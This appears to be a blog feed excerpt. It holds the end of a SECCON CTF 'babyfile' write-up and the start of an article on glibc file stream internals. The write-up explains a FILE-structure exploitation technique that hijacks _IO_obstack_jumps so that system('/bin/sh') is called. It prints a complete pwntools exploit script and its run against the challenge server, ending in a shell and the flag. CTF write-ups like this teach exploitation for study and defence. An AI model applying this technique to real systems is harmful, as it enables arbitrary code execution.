&lt;p&gt;&lt;strong&gt;Condition&lt;/strong&gt;: &lt;code&gt;__o-&amp;gt;next_free + 1 &amp;gt; __o-&amp;gt;chunk_limit&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Allocate a new current chunk for the obstack *H
   on the assumption that LENGTH bytes need to be added
   to the current object, or a new object of length LENGTH allocated.
   Copies any partial object from the end of the old chunk
   to the beginning of the new one.  */

void
_obstack_newchunk (struct obstack *h, int length)
{
  struct _obstack_chunk *old_chunk = h-&amp;gt;chunk;
  struct _obstack_chunk *new_chunk;
  long new_size;
  long obj_size = h-&amp;gt;next_free - h-&amp;gt;object_base;
  long i;
  long already;
  char *object_base;

  /* Compute size for new chunk.  */
  new_size = (obj_size + length) + (obj_size &amp;gt;&amp;gt; 3) + h-&amp;gt;alignment_mask + 100;
  if (new_size &amp;lt; h-&amp;gt;chunk_size)
    new_size = h-&amp;gt;chunk_size;

  /* Allocate and initialize the new chunk.  */
  new_chunk = CALL_CHUNKFUN (h, new_size);
  if (!new_chunk)
    (*obstack_alloc_failed_handler)();
  h-&amp;gt;chunk = new_chunk;
  new_chunk-&amp;gt;prev = old_chunk;
  new_chunk-&amp;gt;limit = h-&amp;gt;chunk_limit = (char *) new_chunk + new_size;

  /* Compute an aligned object_base in the new chunk */
  object_base =
    __PTR_ALIGN ((char *) new_chunk, new_chunk-&amp;gt;contents, h-&amp;gt;alignment_mask);

  /* Move the existing object to the new chunk.
     Word at a time is fast and is safe if the object
     is sufficiently aligned.  */
  if (h-&amp;gt;alignment_mask + 1 &amp;gt;= DEFAULT_ALIGNMENT)
    {
      for (i = obj_size / sizeof (COPYING_UNIT) - 1;
	   i &amp;gt;= 0; i--)
	((COPYING_UNIT *) object_base)[i]
	  = ((COPYING_UNIT *) h-&amp;gt;object_base)[i];
      /* We used to copy the odd few remaining bytes as one extra COPYING_UNIT,
	 but that can cross a page boundary on a machine
	 which does not do strict alignment for COPYING_UNITS.  */
      already = obj_size / sizeof (COPYING_UNIT) * sizeof (COPYING_UNIT);
    }
  else
    already = 0;
  /* Copy remaining bytes one by one.  */
  for (i = already; i &amp;lt; obj_size; i++)
    object_base[i] = h-&amp;gt;object_base[i];

  /* If the object just copied was the only data in OLD_CHUNK,
     free that chunk and remove it from the chain.
     But not if that chunk might contain an empty object.  */
  if (!h-&amp;gt;maybe_empty_object
      &amp;amp;&amp;amp; (h-&amp;gt;object_base
	  == __PTR_ALIGN ((char *) old_chunk, old_chunk-&amp;gt;contents,
			  h-&amp;gt;alignment_mask)))
    {
      new_chunk-&amp;gt;prev = old_chunk-&amp;gt;prev;
      CALL_FREEFUN (h, old_chunk);
    }

  h-&amp;gt;object_base = object_base;
  h-&amp;gt;next_free = h-&amp;gt;object_base + obj_size;
  /* The new chunk certainly contains no empty object yet.  */
  h-&amp;gt;maybe_empty_object = 0;
}
# ifdef _LIBC
libc_hidden_def (_obstack_newchunk)
# endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The interesting part of the function is the call to the &lt;code&gt;CALL_CHUNKFUN&lt;/code&gt; macro that calls a raw &lt;em&gt;unencrypted&lt;/em&gt; function pointer referenced by the &lt;code&gt;obstack&lt;/code&gt; structure with either a controlled argument (&lt;code&gt;(h)-&amp;gt;extra_arg&lt;/code&gt;) or only with the size.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# define CALL_FREEFUN(h, old_chunk) \
  do { \
      if ((h)-&amp;gt;use_extra_arg)						      \
	(*(h)-&amp;gt;freefun)((h)-&amp;gt;extra_arg, (old_chunk));			      \
      else								      \
	(*(void (*)(void *))(h)-&amp;gt;freefun)((old_chunk));		      \
    } while (0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If I summarize, to call &lt;code&gt;system(&quot;/bin/sh&quot;&lt;/code&gt; we need to have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;__o-&amp;gt;next_free + 1 &amp;gt; __o-&amp;gt;chunk_limit&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(h)-&amp;gt;freefun&lt;/code&gt; = &lt;code&gt;&amp;amp;system&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(h)-&amp;gt;extra_arg&lt;/code&gt; = &lt;code&gt;&amp;amp;&quot;/bin/sh&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(h)-&amp;gt;use_extra_arg&lt;/code&gt; != 0&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;_IO_obstack_jumps = leak + 0x1E9260
pwn.log.info(f&quot;_IO_obstack_jumps: {hex(_IO_obstack_jumps)}&quot;)

# edit vtable =&amp;gt; _IO_obstack_jumps
write_ptr(pwn.p64(_IO_obstack_jumps - 8 * 9), File.vtable)
write_ptr(pwn.p64(heap + 0x2a0), File.obstack)

partial_write(pwn.p8(0xff), File._IO_read_base)

write_ptr(pwn.p64(libc.sym.system), obstack.chunkfun) # fn ptr, system
write_ptr(pwn.p64(next(libc.search(b&apos;/bin/sh&apos;))), obstack.extra_arg) # arg
partial_write(pwn.p8(True), obstack.use_extra_arg)

fflush()
# system(&quot;/bin/sh&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;PROFIT&lt;/h1&gt;
&lt;p&gt;After optimizing a lot my exploit (my french connection sucks), here we are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm@off:~/Documents/pwn/seccon/babyfile$ time python3 exploit.py REMOTE HOST=babyfile.seccon.games PORT=3157
[*] &apos;/home/nasm/Documents/pwn/seccon/babyfile/chall&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] &apos;/home/nasm/Documents/pwn/seccon/babyfile/libc-2.31.so&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to babyfile.seccon.games on port 3157: Done
[*] libc: 0x7fe2bc538000
[*] heap: 0x55fd27776000
[*] _IO_obstack_jumps: 0x7fe2bc721260
[*] Switching to interactive mode
SECCON{r34d_4nd_wr173_4nywh3r3_w17h_f1l3_57ruc7ur3}
[*] Got EOF while reading in interactive
$
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Annexes&lt;/h1&gt;
&lt;p&gt;Final exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(&apos;chall&apos;)
libc = pwn.context.binary = pwn.ELF(&apos;libc-2.31.so&apos;)
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
# pwn.context.timeout = 1000

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = &apos;&apos;&apos;
source /home/nasm/Downloads/pwndbg/gdbinit.py
&apos;&apos;&apos;.format(**locals())

io = None
io = start()

class File:
    flags          = 0x0
    _IO_read_base  = 24
    _IO_read_end   = 0x10
    _IO_write_base = 0x20
    _IO_write_ptr  = 0x28
    _IO_write_end  = 0x30
    _IO_buf_base   = 0x38
    _IO_buf_end    = 0x40
    fileno         = 0x70
    vtable         = 0xd8
    obstack       = 0xe0

class obstack:
    chunkfun       = 56
    extra_arg      = 56+16
    use_extra_arg  = 56+16+8

def fflush():
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;1&quot;)

def trick(offt, data):
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;2&quot;)
    io.sendlineafter(b&quot;offset: &quot;, str(offt).encode())
    io.sendlineafter(b&quot;value: &quot;, data)

def leave():
    io.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;0&quot;)

def write_ptr(ptr: bytes, offt: int, debug=True):
    for i in range(8):
        if ptr[i]:
            trick(offt + i, str(ptr[i]).encode())

def partial_write2(ptr: bytes, offt: int):
    for i in range(2):
        trick(offt + i, str(ptr[i]).encode())

def partial_write(ptr: bytes, offt: int):
    for i in range(1):
        trick(offt + i, str(ptr[i]).encode())

def leak_ptr(ptr: bytes) -&amp;gt; int:
    write_ptr(ptr, File._IO_write_base)
    
    dest = (int.from_bytes(ptr, byteorder=&quot;little&quot;)+8).to_bytes(8, byteorder=&apos;little&apos;)

    write_ptr(dest, File._IO_write_ptr)

    fflush()
    ret = pwn.u64(io.recv(8).ljust(8, b&quot;\x00&quot;))

    return ret

def main():
    # do_allocate
    partial_write(pwn.p8(0xa8), File.vtable)
    fflush()

    # _IO_file_underflow =&amp;gt; _IO_default_pbackfail
    partial_write(pwn.p8(0x60), File.vtable)
    fflush()

    &quot;&quot;&quot;
    int
    _IO_default_pbackfail (FILE *fp, int c)
    =&amp;gt; not _IO_IN_BACKUP         0x0100
    =&amp;gt; _IO_read_base == _IO_write_ptr
    =&amp;gt; _IO_read_end == _IO_write_ptr + 8
    =&amp;gt; _IO_write_end = right size
    &quot;&quot;&quot;

    write_ptr(pwn.p64(0xfbad1800 | 0x8000), File.flags)

    partial_write(pwn.p8(0x70), File._IO_write_base)

    partial_write(pwn.p8(0x78), File._IO_write_ptr)
    partial_write(pwn.p8(0xa0), File.vtable)
    write_ptr(pwn.p64(1), File.fileno)
    fflush()

    leak = pwn.u64(io.recv(8).ljust(8, b&quot;\x00&quot;)) - 0x2160c0 + 0x2d160
    pwn.log.info(f&quot;libc: {hex(leak)}&quot;)
    libc.address = leak

    leak_main_arena = leak + 0x1ed5a0

    heap = leak_ptr(pwn.p64(leak_main_arena)) - 0x2a0
    pwn.log.info(f&quot;heap: {hex(heap)}&quot;)

    _IO_obstack_jumps = leak + 0x1E9260
    pwn.log.info(f&quot;_IO_obstack_jumps: {hex(_IO_obstack_jumps)}&quot;)

    # edit vtable =&amp;gt; _IO_obstack_jumps
    write_ptr(pwn.p64(_IO_obstack_jumps - 8 * 9), File.vtable)
    write_ptr(pwn.p64(heap + 0x2a0), File.obstack)

    partial_write(pwn.p8(0xff), File._IO_read_base)

    write_ptr(pwn.p64(libc.sym.system), obstack.chunkfun) # fn ptr, system
    write_ptr(pwn.p64(next(libc.search(b&apos;/bin/sh&apos;))), obstack.extra_arg) # arg
    partial_write(pwn.p8(True), obstack.use_extra_arg)

    fflush()
    # system(&quot;/bin/sh&quot;)

    io.sendline(b&quot;cat flag-f81d1f481db83712a1128dc9b72d5503.txt&quot;)
    io.interactive()

if __name__ == &quot;__main__&quot;:
    main()

&quot;&quot;&quot;
type = struct _IO_FILE {
/*      0      |       4 */    int _flags;
/* XXX  4-byte hole      */
/*      8      |       8 */    char *_IO_read_ptr;
/*     16      |       8 */    char *_IO_read_end;
/*     24      |       8 */    char *_IO_read_base;
/*     32      |       8 */    char *_IO_write_base;
/*     40      |       8 */    char *_IO_write_ptr;
/*     48      |       8 */    char *_IO_write_end;
/*     56      |       8 */    char *_IO_buf_base;
/*     64      |       8 */    char *_IO_buf_end;
/*     72      |       8 */    char *_IO_save_base;
/*     80      |       8 */    char *_IO_backup_base;
/*     88      |       8 */    char *_IO_save_end;
/*     96      |       8 */    struct _IO_marker *_markers;
/*    104      |       8 */    struct _IO_FILE *_chain;
/*    112      |       4 */    int _fileno;
/*    116      |       4 */    int _flags2;
/*    120      |       8 */    __off_t _old_offset;
/*    128      |       2 */    unsigned short _cur_column;
/*    130      |       1 */    signed char _vtable_offset;
/*    131      |       1 */    char _shortbuf[1];
/* XXX  4-byte hole      */
/*    136      |       8 */    _IO_lock_t *_lock;
/*    144      |       8 */    __off64_t _offset;
/*    152      |       8 */    struct _IO_codecvt *_codecvt;
/*    160      |       8 */    struct _IO_wide_data *_wide_data;
/*    168      |       8 */    struct _IO_FILE *_freeres_list;
/*    176      |       8 */    void *_freeres_buf;
/*    184      |       8 */    size_t __pad5;
/*    192      |       4 */    int _mode;
/*    196      |      20 */    char _unused2[20];

                               /* total size (bytes):  216 */
                             }

struct obstack          /* control current object in current chunk */
{
  long chunk_size;              /* preferred size to allocate chunks in */
  struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */
  char *object_base;            /* address of object we are building */
  char *next_free;              /* where to add next char to current object */
  char *chunk_limit;            /* address of char after current chunk */
  union
  {
    PTR_INT_TYPE tempint;
    void *tempptr;
  } temp;                       /* Temporary for some macros.  */
  int alignment_mask;           /* Mask of alignment for each object. */
  /* These prototypes vary based on &apos;use_extra_arg&apos;, and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
  struct _obstack_chunk *(*chunkfun) (void *, long);
  void (*freefun) (void *, struct _obstack_chunk *);
  void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */
  unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */
  unsigned maybe_empty_object : 1; /* There is a possibility that the current
				      chunk contains a zero-length object.  This
				      prevents freeing the chunk if we allocate
				      a bigger chunk to replace it. */
  unsigned alloc_failed : 1;      /* No longer used, as we now call the failed
				     handler on error, but retained for binary
				     compatibility.  */
};

nasm@off:~/Documents/pwn/seccon/babyfile$ time python3 exploit.py REMOTE HOST=babyfile.seccon.games PORT=3157
[*] &apos;/home/nasm/Documents/pwn/seccon/babyfile/chall&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] &apos;/home/nasm/Documents/pwn/seccon/babyfile/libc-2.31.so&apos;
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to babyfile.seccon.games on port 3157: Done
[*] libc: 0x7fe2bc538000
[*] heap: 0x55fd27776000
[*] _IO_obstack_jumps: 0x7fe2bc721260
[*] Switching to interactive mode
SECCON{r34d_4nd_wr173_4nywh3r3_w17h_f1l3_57ruc7ur3}
[*] Got EOF while reading in interactive
$
&quot;&quot;&quot;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux file stream internals for fun and profit</title><link>https://n4sm.github.io/posts/filestream/</link><guid isPermaLink="true">https://n4sm.github.io/posts/filestream/</guid><pubDate>Fri, 19 Aug 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;File streams are now a very common attack surface, here is a high level introduction that should make you understand the design of known attacks beyond the code reading for a particular function. I already talked about FSOP &lt;a href=&quot;../catastrophe/#fsop-on-stdout-to-leak-environ&quot;&gt;here&lt;/a&gt;. This article reviews &lt;a href=&quot;https://elixir.bootlin.com/glibc/glibc-2.36/source&quot;&gt;glibc 2.36&lt;/a&gt;. Most of this article comes from &lt;a href=&quot;https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write&quot;&gt;this&lt;/a&gt; awesome series of articles about the &lt;code&gt;_IO_FILE&lt;/code&gt; strcuture.&lt;/p&gt;
&lt;h1&gt;Global design&lt;/h1&gt;
&lt;p&gt;As said in my previous writeup:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Basically on linux “everything is a file” from the character device the any stream (error, input, output, opened file) we can interact with a resource by just by opening it and getting a file descriptor on it, right ? This way each file descripor has an associated structure called FILE you may have used if you have already done some stuff with files on linux.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The &lt;code&gt;struct _IO_FILE&lt;/code&gt; is defined as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* The tag name of this struct is _IO_FILE to preserve historic
   C++ mangled names for functions taking FILE* arguments.
   That name should not be used in new code.  */
struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it&apos;s too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don&apos;t get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before starting to describe each field of the structure, you have to understand that according to behaviour of the function that uses a file stream, only a small part of the &lt;code&gt;_IO_FILE&lt;/code&gt; structure is used. For example if the file stream is byte oriented, &lt;code&gt;_IO_wide_data&lt;/code&gt; related operations are not used.&lt;/p&gt;
&lt;p&gt;Let&apos;s review the fields of the structure:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_flags&lt;/code&gt;: High-order word is &lt;code&gt;_IO_MAGIC&lt;/code&gt;, rest is flags.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_read_ptr&lt;/code&gt; address of input within the input buffer that has been already used.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_read_end&lt;/code&gt; end address of the input buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_read_base&lt;/code&gt; base address of the input buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_write_base&lt;/code&gt; base address of the ouput buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_write_ptr&lt;/code&gt; points to the character that hasn’t been printed yet.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_write_end&lt;/code&gt; end address of the output buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_buf_base&lt;/code&gt; base address for both input and output buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_IO_buf_end&lt;/code&gt; end address for both input and output buffer.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_chain&lt;/code&gt; stands for the single linked list that links of all file streams.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_fileno&lt;/code&gt; stands for the file descriptor associated to the file.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_vtable_offset&lt;/code&gt; stands for the offset of the vtable we have to use.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_offset&lt;/code&gt; stands for the current offset within the file.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Common functions&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_IO_setb (FILE *f, char *base, char *end, int do_user_buf)&lt;/code&gt;: Initializes the base buffer. Here is its implementation:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/genops.c#L328

void
_IO_setb (FILE *f, char *b, char *eb, int a)
{
  if (f-&amp;gt;_IO_buf_base &amp;amp;&amp;amp; !(f-&amp;gt;_flags &amp;amp; _IO_USER_BUF))
    free (f-&amp;gt;_IO_buf_base);
  f-&amp;gt;_IO_buf_base = b;
  f-&amp;gt;_IO_buf_end = eb;
  if (a)
    f-&amp;gt;_flags &amp;amp;= ~_IO_USER_BUF;
  else
    f-&amp;gt;_flags |= _IO_USER_BUF;
}
libc_hidden_def (_IO_setb)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;_IO_USER_BUF&lt;/code&gt;: Don&apos;t deallocate buffer on close.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_IO_setg(fp, base, current, end)&lt;/code&gt;: Initializes read pointers. Here is its code:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/libioP.h#L520

#define _IO_setg(fp, eb, g, eg)  ((fp)-&amp;gt;_IO_read_base = (eb),\
	(fp)-&amp;gt;_IO_read_ptr = (g), (fp)-&amp;gt;_IO_read_end = (eg))
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;fopen&lt;/h1&gt;
&lt;p&gt;Let&apos;s review the opening process of a file and how the &lt;code&gt;_IO_FILE&lt;/code&gt; structure is intitialized. &lt;code&gt;fopen&lt;/code&gt; is implemented in &lt;code&gt;libio/iofopen.c&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/iofopen.c#L83
FILE *
_IO_new_fopen (const char *filename, const char *mode)
{
  return __fopen_internal (filename, mode, 1);
}

strong_alias (_IO_new_fopen, __new_fopen)
versioned_symbol (libc, _IO_new_fopen, _IO_fopen, GLIBC_2_1);
versioned_symbol (libc, __new_fopen, fopen, GLIBC_2_1);

# if !defined O_LARGEFILE || O_LARGEFILE == 0
weak_alias (_IO_new_fopen, _IO_fopen64)
weak_alias (_IO_new_fopen, fopen64)
# endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then it calls &lt;code&gt;__fopen_internal&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/iofopen.c#L56
FILE *
__fopen_internal (const char *filename, const char *mode, int is32)
{
  struct locked_FILE
  {
    struct _IO_FILE_plus fp;
#ifdef _IO_MTSAFE_IO
    _IO_lock_t lock;
#endif
    struct _IO_wide_data wd;
  } *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));

  if (new_f == NULL)
    return NULL;
#ifdef _IO_MTSAFE_IO
  new_f-&amp;gt;fp.file._lock = &amp;amp;new_f-&amp;gt;lock;
#endif
  _IO_no_init (&amp;amp;new_f-&amp;gt;fp.file, 0, 0, &amp;amp;new_f-&amp;gt;wd, &amp;amp;_IO_wfile_jumps);
  _IO_JUMPS (&amp;amp;new_f-&amp;gt;fp) = &amp;amp;_IO_file_jumps;
  _IO_new_file_init_internal (&amp;amp;new_f-&amp;gt;fp);
  if (_IO_file_fopen ((FILE *) new_f, filename, mode, is32) != NULL)
    return __fopen_maybe_mmap (&amp;amp;new_f-&amp;gt;fp.file);

  _IO_un_link (&amp;amp;new_f-&amp;gt;fp);
  free (new_f);
  return NULL;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, a &lt;code&gt;struct locked_FILE&lt;/code&gt; is allocated on the heap. &lt;code&gt;_IO_no_init&lt;/code&gt; -- and &lt;code&gt;_IO_old_init&lt;/code&gt; within it -- null out the structure:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/genops.c#L561
void
_IO_no_init (FILE *fp, int flags, int orientation,
	     struct _IO_wide_data *wd, const struct _IO_jump_t *jmp)
{
  _IO_old_init (fp, flags);
  fp-&amp;gt;_mode = orientation;
  if (orientation &amp;gt;= 0)
    {
      fp-&amp;gt;_wide_data = wd;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_base = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_buf_end = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_read_base = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_read_ptr = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_read_end = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_write_base = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_write_ptr = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_write_end = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_save_base = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_backup_base = NULL;
      fp-&amp;gt;_wide_data-&amp;gt;_IO_save_end = NULL;

      fp-&amp;gt;_wide_data-&amp;gt;_wide_vtable = jmp;
    }
  else
    /* Cause predictable crash when a wide function is called on a byte
       stream.  */
    fp-&amp;gt;_wide_data = (struct _IO_wide_data *) -1L;
  fp-&amp;gt;_freeres_list = NULL;
}

// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/genops.c#L530

void
_IO_old_init (FILE *fp, int flags)
{
  fp-&amp;gt;_flags = _IO_MAGIC|flags;
  fp-&amp;gt;_flags2 = 0;
  if (stdio_needs_locking)
    fp-&amp;gt;_flags2 |= _IO_FLAGS2_NEED_LOCK;
  fp-&amp;gt;_IO_buf_base = NULL;
  fp-&amp;gt;_IO_buf_end = NULL;
  fp-&amp;gt;_IO_read_base = NULL;
  fp-&amp;gt;_IO_read_ptr = NULL;
  fp-&amp;gt;_IO_read_end = NULL;
  fp-&amp;gt;_IO_write_base = NULL;
  fp-&amp;gt;_IO_write_ptr = NULL;
  fp-&amp;gt;_IO_write_end = NULL;
  fp-&amp;gt;_chain = NULL; /* Not necessary. */

  fp-&amp;gt;_IO_save_base = NULL;
  fp-&amp;gt;_IO_backup_base = NULL;
  fp-&amp;gt;_IO_save_end = NULL;
  fp-&amp;gt;_markers = NULL;
  fp-&amp;gt;_cur_column = 0;
#if _IO_JUMPS_OFFSET
  fp-&amp;gt;_vtable_offset = 0;
#endif
#ifdef _IO_MTSAFE_IO
  if (fp-&amp;gt;_lock != NULL)
    _IO_lock_init (*fp-&amp;gt;_lock);
#endif
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then it initializes the vtable field field to &lt;code&gt;&amp;amp;_IO_file_jumps&lt;/code&gt; initialized in &lt;code&gt;/source/libio/fileops.c#L1432&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// /source/libio/fileops.c#L1432


const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_file_xsgetn),
  JUMP_INIT(seekoff, _IO_new_file_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_new_file_setbuf),
  JUMP_INIT(sync, _IO_new_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_file_read),
  JUMP_INIT(write, _IO_new_file_write),
  JUMP_INIT(seek, _IO_file_seek),
  JUMP_INIT(close, _IO_file_close),
  JUMP_INIT(stat, _IO_file_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Most of the intialization stuff stands in the &lt;code&gt;_IO_new_file_init_internal&lt;/code&gt; function:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/fileops.c#L105

void
_IO_new_file_init_internal (struct _IO_FILE_plus *fp)
{
  /* POSIX.1 allows another file handle to be used to change the position
     of our file descriptor.  Hence we actually don&apos;t know the actual
     position before we do the first fseek (and until a following fflush). */
  fp-&amp;gt;file._offset = _IO_pos_BAD;
  fp-&amp;gt;file._flags |= CLOSED_FILEBUF_FLAGS;

  _IO_link_in (fp);
  fp-&amp;gt;file._fileno = -1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;fp-&amp;gt;file._flags&lt;/code&gt; is initialized to &lt;code&gt;CLOSED_FILEBUF_FLAGS&lt;/code&gt; which means according to its definition:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/fileops.c#L100

#define CLOSED_FILEBUF_FLAGS \
  (_IO_IS_FILEBUF+_IO_NO_READS+_IO_NO_WRITES+_IO_TIED_PUT_GET)

// https://elixir.bootlin.com/glibc/glibc-2.36/source/libio/libio.h#L78
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
&lt;/code&gt;&lt;/pre&gt;
